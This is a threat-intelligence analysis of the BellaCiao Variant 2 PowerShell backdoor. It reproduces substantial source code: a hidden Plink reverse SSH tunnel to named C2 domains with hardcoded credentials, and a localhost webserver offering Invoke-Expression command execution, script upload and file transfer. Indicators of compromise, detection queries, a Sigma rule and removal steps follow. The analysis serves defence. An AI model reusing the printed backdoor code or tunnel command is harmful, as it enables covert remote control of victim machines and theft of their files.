BellaCiao Variant 2 - PowerShell Reverse Proxy
BellaCiao Variant 2 is a PowerShell-based backdoor that combines Plink (PuTTY Link) for reverse SSH tunneling with a customized PowerShell webserver to provide persistent remote access to compromised systems.
This analysis is based on actual source code (iis.ps1) leaked from CharmingKitten’s infrastructure. The techniques described are actively used in real-world attacks.
Overview
Variant 2 takes a different approach from Variant 1:
No DNS beaconing : Uses direct SSH tunnel connection
Plink reverse proxy : Establishes SSH tunnel to C2 server
Local webserver : PowerShell HTTP server on localhost:49450
Tunnel routing : Remote operators access webserver through SSH tunnel
Technical Architecture
Component Analysis
Function P: Plink Tunnel Establishment
The P function establishes a reverse SSH tunnel using Plink:
function P
{
$domain = "twittsupport.com"
$domain2 = "msn-center.uk"
$Path = "C:\ProgramData\Microsoft\Diagnostic\Java Update Services.exe"
# Plink command with reverse tunnel
$command = "echo Y | $Path $domain -P 443 -C -R 127.0.0.1:9090:127.0.0.1:49450 -l Israel -pw Israel@123!"
$command2 = "echo Y | $Path $domain2 -P 443 -C -R 127.0.0.1:9090:127.0.0.1:49450 -l Israel -pw Israel@123!"
try {
[ System.Net.IPHostEntry ] $query = [ System.Net.Dns ]::GetHostEntry( $domain );
[ string ] $ip = $query .AddressList [ 0 ].ToString()
if ( ! [ String ]::IsNullOrEmpty( $ip )) {
start-process cmd.exe "/c $command " - WindowStyle Hidden
$connected = $true
}
}
catch {
Start-Sleep - Seconds 10
# Try backup domain
$query = [ System.Net.Dns ]::GetHostEntry( $domain2 );
$ip = $query .AddressList [ 0 ].ToString()
if ( ! [ String ]::IsNullOrEmpty( $ip )) {
start-process cmd.exe "/c $command2 " - WindowStyle Hidden
$connected = $true
}
}
}
The echo Y prefix auto-accepts SSH host key verification, allowing unattended execution.
Plink Command Breakdown
Parameter Value Purpose Target twittsupport.com or msn-center.ukC2 server domain Port -P 443SSH on port 443 (appears as HTTPS traffic) Compression -CEnable SSH compression Reverse Tunnel -R 127.0.0.1:9090:127.0.0.1:49450Forward C2 port 9090 to local port 49450 Username -l IsraelSSH username Password -pw Israel@123!SSH password (hardcoded) Binary Java Update Services.exeRenamed plink.exe (masquerading)
Reverse Tunnel Flow
Traffic Flow Diagram
Network Appearance
Plink connects from victim to C2 server on port 443
C2 server opens listening port 9090 (localhost only)
Connections to C2:9090 are tunneled to victim:49450
Victim runs PowerShell webserver on localhost:49450
Operator accesses webserver through tunnel: localhost:9090 on C2
[Operator on C2] --> localhost:9090 on C2 server
|
| (SSH Tunnel)
v
localhost:49450 on Victim --> PowerShell Webserver
|
v
[Command Execution on Victim]
From Network Perspective:
Outbound connection to port 443 (HTTPS)
SSH protocol inside (may be detected by DPI)
Persistent connection kept alive
No direct inbound connections to victim
Evasion Features:
Port 443 mimics HTTPS traffic
Reverse tunnel bypasses inbound firewall rules
Binary renamed to appear legitimate
Function W: PowerShell Webserver
The W function implements a full-featured HTTP server based on a modified version of Start-Webserver.ps1 :
Function W ()
{
Param ([ STRING ] $BINDING = 'http://127.0.0.1:49450/' , [ STRING ] $BASEDIR = "" )
$LISTENER = New-Object System.Net.HttpListener
$LISTENER .Prefixes.Add ( $BINDING )
$LISTENER .Start ()
while ( $LISTENER .IsListening )
{
$CONTEXT = $LISTENER .GetContext ()
$REQUEST = $CONTEXT .Request
$RESPONSE = $CONTEXT .Response
# Handle different endpoints
$RECEIVED = '{0} {1}' -f $REQUEST .httpMethod , $REQUEST .Url.LocalPath
switch ( $RECEIVED )
{
"GET /" { # Command execution interface }
"POST /script" { # Script upload and execution }
"POST /upload" { # File upload }
"GET /download" { # File download }
# ... more endpoints
}
}
}
Webserver Capabilities
The PowerShell webserver provides a comprehensive web-based administration interface:
1. Command Execution (GET /)
< form method = "GET" action = "/" >
< b > PS C:\> </ b >
< input type = "text" name = "command" value = '' >
< input type = "submit" value = "Enter" >
</ form >
Backend processing:
$FORMFIELD = [ URI ]::UnescapeDataString(( $REQUEST .Url.Query -replace "\+" , " " ))
$RESULT = Invoke-Expression - EA SilentlyContinue $FORMFIELD 2> $NULL | Out-String
Direct PowerShell command execution with output displayed in browser. Any command available to the system account can be executed.
2. Script Execution (POST /script)
< form method = "POST" enctype = "multipart/form-data" action = "/script" >
< p >< b > Script to execute: </ b >< input type = "file" name = "filedata" ></ p >
< b > Parameters: </ b >< input type = "text" name = "parameter" >
< input type = "submit" value = "Execute" >
</ form >
Execution:
$EXECUTE = "function Powershell-WebServer-Func { `n " + $FILEDATA + " `n } `n Powershell-WebServer-Func " + $PARAMETERS
$RESULT = Invoke-Expression - EA SilentlyContinue $EXECUTE 2> $NULL | Out-String
Allows uploading and executing complete PowerShell scripts with parameters.
3. File Upload (POST /upload)
< form method = "POST" enctype = "multipart/form-data" action = "/upload" >
< p >< b > File to upload: </ b >< input type = "file" name = "filedata" ></ p >
< b > Path to store: </ b >< input type = "text" name = "filepath" >
< input type = "submit" value = "Upload" >
</ form >
Storage:
[ IO.File ]::WriteAllText( $TARGETNAME , $FILEDATA , $REQUEST .ContentEncoding )
4. File Download (POST /download)
< form method = "POST" action = "/download" >
< b > Path to file: </ b >< input type = "text" name = "filepath" >
< input type = "submit" value = "Download" >
</ form >
Download:
$BUFFER = [ System.IO.File ]::ReadAllBytes( $FORMFIELD )
$RESPONSE .ContentLength64 = $BUFFER .Length
$RESPONSE .ContentType = "application/octet-stream"
$RESPONSE .AddHeader ( "Content-Disposition" , "attachment; filename= $FILENAME " )
$RESPONSE .OutputStream.Write ( $BUFFER , 0 , $BUFFER .Length )
5. Additional Endpoints
Endpoint Method Purpose /logGET View webserver access logs /timeGET Get current system time /starttimeGET View webserver start time /beepGET Trigger system beep (presence check) /quit or /exitGET Stop webserver /*GET Browse filesystem / download files
Execution Flow
Startup Sequence
# Main execution
WRunner # Start webserver in background runspace
PRunner # Start Plink tunnel in background runspace
# Keep script alive
while ( $true )
{
Start-Sleep 60 # Check every minute
}
Background Runspaces
Both components run in separate PowerShell runspaces:
function WRunner ()
{
$initialsessionstateeval = [ System.Management.Automation.Runspaces.initialSessionState ]::CreateDefault()
$funcHtPost = Get-Content Function:\W - ErrorAction Stop
$addfuncPost = New-Object System.Management.Automation.Runspaces.SessionStateFunctionEntry - ArgumentList "W" , $funcHtPost
$initialsessionstateeval .Commands.Add ( $addfuncPost )
$runspaceeval = [ runspacefactory ]::CreateRunspace( $initialsessionstateeval )
$runspaceeval .ThreadOptions = "ReuseThread"
$runspaceeval .Open ()
[ powershell ] $eval = [ powershell ]::Create()
[ void ] $eval .AddScript ({ W })
$eval .Runspace = $runspaceeval
$eval .BeginInvoke () | Out-Null
}
Using separate runspaces allows both the webserver and tunnel to run concurrently without blocking each other.
Persistence Mechanism
While not included in the leaked source, Variant 2 is typically persisted via:
Scheduled Task : Run iis.ps1 at system startup
Registry Run Key : Launch PowerShell script on user login
WMI Event Subscription : Trigger on specific system events
Known Deployments
Variant 2 has been observed in:
Post-exploitation after ProxyShell compromise
Secondary persistence after Variant 1 deployment
Standalone deployment on workstations and servers
Indicators of Compromise
File System IoCs
# Plink binary (renamed)
C:\ProgramData\Microsoft\Diagnostic\Java Update Services.exe
# PowerShell script
iis.ps1
start-webserver.ps1
Process IoCs
Process: powershell.exe
Command Line: powershell.exe -ExecutionPolicy Bypass -File iis.ps1
Process: Java Update Services.exe (plink.exe)
Command Line: "C:\ProgramData\Microsoft\Diagnostic\Java Update Services.exe" twittsupport.com -P 443 -C -R 127.0.0.1:9090:127.0.0.1:49450 -l Israel -pw Israel@123!
Network IoCs
Domains:
- twittsupport.com
- msn-center.uk
Connections:
- Outbound to twittsupport.com:443
- Outbound to msn-center.uk:443
- Listening on 127.0.0.1:49450 (localhost only)
SSH Credentials
Username: Israel
Password: Israel@123!
These hardcoded credentials are used across multiple CharmingKitten operations. Check SSH logs for authentication attempts with username “Israel”.
Detection Strategies
Detect suspicious Plink usage: # Search for plink.exe or renamed variants
Get-Process | Where-Object {
$_ .ProcessName -like "*plink*" -or
$_ .Path -like "*Java Update Services*"
}
# Check command lines for SSH tunnel parameters
Get-WmiObject Win32_Process | Where-Object {
$_ .CommandLine -like "*-R *:*:127.0.0.1:*" -and
$_ .CommandLine -like "*-P 443*"
}
Monitor for:
Outbound SSH connections on port 443 (unusual)
Long-duration connections to suspicious domains
DNS queries for twittsupport.com or msn-center.uk
Local HTTP listener on port 49450
Firewall rule: Block outbound connections to:
- twittsupport.com (all ports)
- msn-center.uk (all ports)
PowerShell Script Block Logging
Enable and monitor PowerShell logging: # Check for HttpListener usage
Get-WinEvent - FilterHashtable @ { LogName = 'Microsoft-Windows-PowerShell/Operational' ; ID = 4104 } |
Where-Object { $_ .Message -like "*System.Net.HttpListener*" }
# Look for Invoke-Expression with user input
Get-WinEvent - FilterHashtable @ { LogName = 'Microsoft-Windows-PowerShell/Operational' ; ID = 4104 } |
Where-Object { $_ .Message -like "*Invoke-Expression*" -and $_ .Message -like "*Request.Url*" }
title : BellaCiao Variant 2 Plink Reverse Tunnel
status : experimental
description : Detects Plink establishing reverse SSH tunnel to CharmingKitten C2
author : CharmingKitten Exposure Project
date : 2025/01/01
logsource :
category : process_creation
product : windows
detection :
selection_plink :
CommandLine|contains|all :
- '-P 443'
- '-R 127.0.0.1'
- '-l Israel'
selection_domains :
CommandLine|contains :
- 'twittsupport.com'
- 'msn-center.uk'
condition : selection_plink and selection_domains
falsepositives :
- Legitimate administrative SSH tunnels (rare)
level : critical
Kill malicious processes
# Stop PowerShell webserver
Get-Process powershell | Where-Object {
$_ .CommandLine -like "*iis.ps1*"
} | Stop-Process - Force
# Stop Plink tunnel
Stop-Process - Name "Java Update Services" - Force - ErrorAction SilentlyContinue
Get-Process | Where-Object {
$_ .CommandLine -like "*-R 127.0.0.1*"
} | Stop-Process - Force
Remove files
Remove-Item "C:\ProgramData\Microsoft\Diagnostic\Java Update Services.exe" - Force
Remove-Item - Path "C:\" - Filter "iis.ps1" - Recurse - Force
Remove persistence
# Remove scheduled tasks
Get-ScheduledTask | Where-Object {
$_ .Actions.Execute -like "*iis.ps1*"
} | Unregister-ScheduledTask - Confirm: $false
# Check registry run keys
Get-ItemProperty - Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Get-ItemProperty - Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Block C2 infrastructure
Add firewall rules and DNS blocks for:
twittsupport.com
msn-center.uk
Hunt for lateral movement
Check if the compromised system was used as a pivot point: # Review recent network connections
Get-NetTCPConnection | Where-Object {
$_ .RemoteAddress -notlike "127.0.0.1"
}
# Check for additional malware
Get-Process | Where-Object { $_ .Path -notlike "C:\Windows\*" }
Defensive Recommendations
Restrict PowerShell Execution
Implement PowerShell Constrained Language Mode
Use AppLocker/WDAC to control script execution
Enable Script Block Logging and Module Logging
Monitor Outbound SSH
Alert on SSH connections to non-standard ports (especially 443)
Block SSH clients except for authorized systems
Inspect SSH traffic with SSL/TLS decryption
Localhost Port Monitoring
Monitor for HTTP listeners on localhost ports
Alert on System.Net.HttpListener usage in PowerShell
Behavioral Detection
Alert on renamed SSH clients (plink.exe with different name)
Detect long-running PowerShell processes
Monitor processes with names mimicking legitimate software
BellaCiao Overview Return to BellaCiao overview
Variant 1 C# DNS beaconing variant
Technical Analysis Comprehensive technical analysis
Infrastructure Domains C2 domain infrastructure